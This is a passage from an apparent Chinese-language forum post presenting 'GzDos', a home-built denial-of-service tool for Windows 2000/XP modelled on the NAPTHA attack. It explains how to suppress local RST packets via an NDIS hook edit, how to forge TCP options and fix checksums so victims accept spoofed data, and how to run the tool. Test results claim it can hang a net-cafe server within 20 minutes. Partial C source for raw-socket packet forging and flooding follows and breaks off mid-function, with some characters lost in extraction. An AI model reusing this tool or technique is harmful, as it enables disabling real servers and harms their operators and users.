测试平台 VC++6.0 Windows2000 server
目标平台 Windows 2000 , Windows Xp
突发奇想,受NAPTHA攻击方式的启发,希望能把这种伪造连接的方式扩展到个人的PC上,并且不受局域网的这个条件因素的限制。才去花了时间去研究了一下下面写的东西,好了不废话了。现在拿出来和大家Share一下,还不是很成熟,希望能和大家多多讨论。
关于NAPTHA原来写过一篇NAPTHA在2000下的实现。为什么要利用一个局域网,仅仅是为了更好的隐藏吗?还有一个更重要的因素应该是避免自己的主机响应远程主机发出的第二此握手的包,防止系统发出RST包断开掉伪造的连接。另外原来测试过NAPTHA对windows系统并没有多大的影响。消耗不到windows的多少内存。如果再伪造连接成功过后再传输数据呢?
A为攻击者 C被攻击者:
A Syn -------- C
A Syn,Ack <-----C
A Ack -------- C
A 发送数据----- C
A Ack <-------- C
A 发送数据----- C
A Ack <-------- C
...
测试结果:
对于一般的临时端口比较有效对于1025端口来说,相当的有效。内存持续上升最后最后可以导致计算机由于资源不足无响应,死机。20分钟可以拖死一个网吧的服务器。
对于80端口最大连接数100,效果不是十分的明显,消耗掉40M内存就开始反复了,留下大量的FIN_WAIT_1状态和ESTABLISHED状态。
对于其他的一些端口由于环境有限测试相当不方便。方便的朋友可以告诉我您的测试结果。欢迎讨论。
所以下面要解决的问题大致就有2个:
1.Hook掉本机发出的Rst数据包
参考flashsky老大的《书写NDIS过滤钩子驱动实现ip包过滤》
http://www.xfocus.net/articles/200210/457.html
仅仅是修改一行代码就ok了。
把 if(Packet[13]==0x2 && SendInterfaceIndex==INVALID_PF_IF_INDEX)
修改为 if(Packet[13]==0x4 && SendInterfaceIndex!=INVALID_PF_IF_INDEX)
详细见原文。原文讲得很详细.
2.伪造数据的传输
通过Sniffer分析,要想对方相信这个伪造的连接还在Syn包发出的时候要加上选项数据,协商能够接收的数据包的大小。否则,就算建立了连接过后对方也不回接受发出的数据,就是说想消耗对方的内存就不行了。对于一般的syn扫描,还有NAPTHA请求连接的时候TCP header长度都是20,是没有选项数据的。例如的我2000上选项是8字节,而我朋友的2000则是12字节。以我的机器为例8字节,所以TCP header长度要变成28字节。即tcp_head.th_lenres=0x70.
另外还有一个地方要指出就是关于TCP头部的效验和的计算。
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size 1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum 16) + (cksum & 0xffff);
cksum += (cksum 16);
return (USHORT)(~cksum);
}
如果带有数据在20字节的TCP头部的后面,这个和Windows2000系统算出来的就不一样。经过分析和数据长度有关系。如果说20字节的IP头,20字节的TCP头,加2字节的数据。如果用checksum计算出TCP效验和为0x4523.但是系统计算出来的就是0x4323
所以:
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+dwSize);
tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)dwSize);
dwSize为带的数据的长度。否则对方不接收伪造的数据包。那么要达到消耗对方内存的目的也不行了。
下面是测试的代码。考虑到此程序还是有一定的危害的效果所以没有写成十分方便的测试程序,需要手工sniffer选项字节。然后在命令行下面输入选项字节。
例如:
GzDos.exe 192.168.248.128 1025 020405B401010402 1000 65534
GzDos.exe <Attack IP <Attack Port <OptString <SleepTime <StartPort
源代码:
#include "stdio.h"
#include "winsock2.h"
#include "windows.h"
#include <ws2tcpip.h
#include "wchar.h"
#pragma comment(lib, "ws2_32.lib")
#define SIO_RCVALL
_WSAIOW(IOC_VENDOR,1)
char*
ATTACKIP =
"192.168.248.128";
USHORT
ATTACKPORT =
135;
USHORT
StartPort = 1;
int
SLEEPTIME =
2000;
UCHAR* optbuf = NULL;
//
选项字节
char* psend = NULL;
DWORD len = 0;
USHORT optlen= 0;
typedef struct ip_head
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IPHEADER;
typedef struct tcp_head
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCPHEADER;
typedef struct tsd_hdr
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHEADER;
typedef struct attack_obj
{
DWORD
dwIP;
USHORT
uAttackPort[11];
struct attack_obj*
Next;
}ATOBJ;
ATOBJ*
ListAttackObj=0;
////////////////////////////////////////////////////
BOOL
InitStart();
DWORD
GetHostIP();
USHORT
checksum(USHORT *buffer, int size);
DWORD
WINAPI
ThreadSynFlood(LPVOID lp);
void
SendData(DWORD SEQ, DWORD ACK, USHORT SPort, USHORT APort, DWORD SIP, DWORD AIP, char* pBuf,BOOL Isdata,DWORD dwSize);
DWORD
WINAPI
ListeningFunc(LPVOID lpvoid);
void
Banner();
void debugip ( DWORD dwip);
void ConvertOpt (CHAR* pu);
////////////////////////////////////////////////////
SOCKET sock = NULL;
int main(int argc, char* argv[])
{
Banner();
psend = (char*)malloc(800);
memset(psend,0x38,799);
psend[799] = 0;
len = strlen(psend);
if ( argc < 5)
{
printf("input error!\n");
return -1;
}
ATTACKIP = strdup(argv[1]);
ATTACKPORT = atoi(argv[2]);
CHAR* optbuftemp = (CHAR*)strdup(argv[3]);
ConvertOpt (optbuftemp);
optbuf[3]-=1;
if ( argc == 5)
SLEEPTIME = atoi(argv[4]);
if ( argc == 6)
{
SLEEPTIME = atoi(argv[4]);
StartPort = atoi(argv[5]);
}
char HostName[255]={0};
if ( InitStart() == FALSE )
return -1;
if ( optbuf != NULL)
{
int i=0;
struct hostent* lp = NULL;
gethostname(HostName,255);
lp = gethostbyname (HostName);
while ( lp-h_addr_list[i] != NULL )
{
HANDLE
h=NULL;
DWORD
dwIP=0;
dwIP = *(DWORD*)lp-h_addr_list[i++];
h=CreateThread(NULL,NULL,ListeningFunc,(LPVOID)dwIP,NULL,NULL);
if ( h == NULL )
{
printf("Create ListeningFunc Thread False!\n");
return -1;
}
Sleep(500);
}
ThreadSynFlood(NULL);
}
else return -1;
Sleep(5555555);
}
BOOL InitStart()
{
BOOL flag;
int
nTimeOver;
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartu